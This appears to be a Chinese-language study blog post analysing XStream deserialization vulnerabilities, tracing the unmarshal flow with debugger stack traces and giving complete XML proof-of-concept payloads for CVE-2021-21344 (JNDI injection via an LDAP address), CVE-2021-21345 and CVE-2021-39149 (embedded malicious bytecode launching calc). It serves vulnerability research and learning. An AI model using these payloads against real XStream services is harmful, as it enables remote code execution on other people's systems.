Xstream反序列化漏洞学习
Xstream反序列化漏洞分析学习
依赖
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4</version>
</dependency>
demo
public class Xstream_Test {
public static void main(String[] args) {
XStream xstream = new XStream(new DomDriver());
Person person = new Person("zhangsan", 18, new School("wut", 123));
//java对象转成xml
String xml = xstream.toXML(person);
System.out.println(xml);
//xml转成java对象
Person person2 = (Person) xstream.fromXML(xml);
}
}
重写一下readObject方法
public class Person implements Serializable {
//@XStreamAlias("姓名")
private String name;
//@XStreamAlias("年龄")
private int age;
private School school;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public Person(String name, int age, School school) {
this.name = name;
this.age = age;
this.school = school;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String toString() {
return "Person{name = " + name + ", age = " + age + "}";
}
public School getSchool() {
return school;
}
public void setSchool(School school) {
this.school = school;
}
public void readObject(ObjectInputStream in) throws Exception {
in.defaultReadObject();
System.out.println("Person 反序列化");
}
}
分析:
fromXML打上断点跟进，主要分析反序列化过程
unmarshal方法
首先创建了TreeUnmarshaller 树解组程序，即ReferenceByXPathUnmarshaller（继承TreeUnmarshaller）
Mapper 映射器:
XStream 构建映射器，通过MapperWrapper装饰者，将各个不同功能的映射器进行包装成Mapper
通过映射器获取节点名的类型Class。
ConverterLookup:转换器
HierarchicalStreamDriver的实现类为AbstractDriver，使用XML DOM解析，把整个XML加载进内存
然后调用start开始解析，调用readClassType返回对应的类
首先会调用readClassAttribute方法找有无resolves-to以及class，在这个demo中是找不到的，通过realClass再次进行查找
resolves-to属性用于指定一个XML元素或属性应该解析为哪个Java类
class属性用于指定一个bean的具体实现类
realClass加载的流程是通过装饰者模式加载，最后在DefaultMapper#realClass中通过loadClass加载，然后放入
realClassCache缓存中返回Person类接下来调用convertAnother继续进行解析
defaultImplementationOf()
方法主要用于处理接口或抽象类的默认实现类映射，特别是在反序列化 XML 数据时，当 XML 元素对应的 Java 类型是接口或抽象类时，XStream 需要知道具体的实现类来实例化对象
lookupConverterForType()，通过该函数寻找转换器，直接找到了SerializableConverter转换器从缓存中，大概是demo前面进行了序列化已经加入了缓存
接着在doUnmarshal中调用callReadObject,调用到demo中重写的方法中，即出现了可利用的点
readObject:85, Person (com.kudo)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
callReadObject:113, SerializationMethodInvoker (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:412, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:230, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1035, XStream (com.thoughtworks.xstream)
unmarshal:1019, XStream (com.thoughtworks.xstream)
fromXML:895, XStream (com.thoughtworks.xstream)
fromXML:886, XStream (com.thoughtworks.xstream)
main:13, Xstream_Test (com.kudo)
CVE-2021-21344
影响版本：<=1.4.15
poc:
更改dataSource地址即可
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://127.0.0.1:8085/sTtLYzmh</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
调用PriorityQueue#readObject,分析过cc链应该就知道会调用到poc中设置的比较器进行比较
DataTransferer#compare
然后通过一下调用完成jndi注入，最后利用JdbcRowSetImpl,fastjson的学习已经学习过
connect:615, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
CVE-2021-21345
影响版本：<=1.4.15
在CVE-2021-21344做了些改本直接将jndi的注入点改变到本地代码执行
poc:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
最后代码执行的点，activationCmd可赋值
verify:170, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
CVE-2021-39149
影响版本：<=1.4.17
把恶意字节码数组编译一下放入第一个byte-array数组即可，操作templates一致
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADQAGwEABEV2aWwHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcADAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA4ADwoADQAQAQAEY2FsYwgAEgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABQAFQoADQAWAQAGPGluaXQ+DAAYAAoKAAgAGQAhAAIACAAAAAAAAgAIAAkACgABAAsAAAAWAAIAAAAAAAq4ABESE7YAF1exAAAAAAABABgACgABAAsAAAARAAEAAQAAAAUqtwAasQAAAAAAAQAFAAAAAgAG</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
Java安全之XStream 漏洞分析 - nice_0e3 - 博客园
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